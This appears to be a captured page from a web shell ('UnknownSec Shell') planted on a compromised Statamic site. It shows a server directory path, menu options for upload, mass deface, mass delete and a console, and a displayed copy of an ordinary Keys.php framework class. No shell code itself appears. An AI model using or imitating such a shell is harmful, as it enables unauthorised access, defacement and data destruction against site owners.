shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolas.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Stache
/
Stores
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
Keys.php
<?php namespace Statamic\Stache\Stores; use Statamic\Facades\Stache; use Statamic\Stache\Exceptions\DuplicateKeyException; class Keys { protected $store; protected $keys = []; public function __construct(Store $store) { $this->store = $store; } public function load() { $this->keys = Stache::cacheStore()->get($this->cacheKey(), []); return $this; } public function cache() { Stache::cacheStore()->forever($this->cacheKey(), $this->keys); } public function clear() { Stache::cacheStore()->forget($this->cacheKey()); } private function cacheKey() { return 'stache::keys/'.$this->store->key(); } public function all() { return $this->keys; } public function setKeys($keys) { $this->keys = $keys; return $this; } public function add($key, $path) { $existing = $this->keys[$key] ?? null; // If you're adding a key that already exists but has // a different path then a duplicate is being added. if ($existing && $existing !== $path) { throw new DuplicateKeyException($key, $path); } $this->set($key, $path); } public function forget($key) { unset($this->keys[$key]); return $this; } public function set($key, $path) { $this->keys[$key] = $path; return $this; } }
© 2026 UnknownSec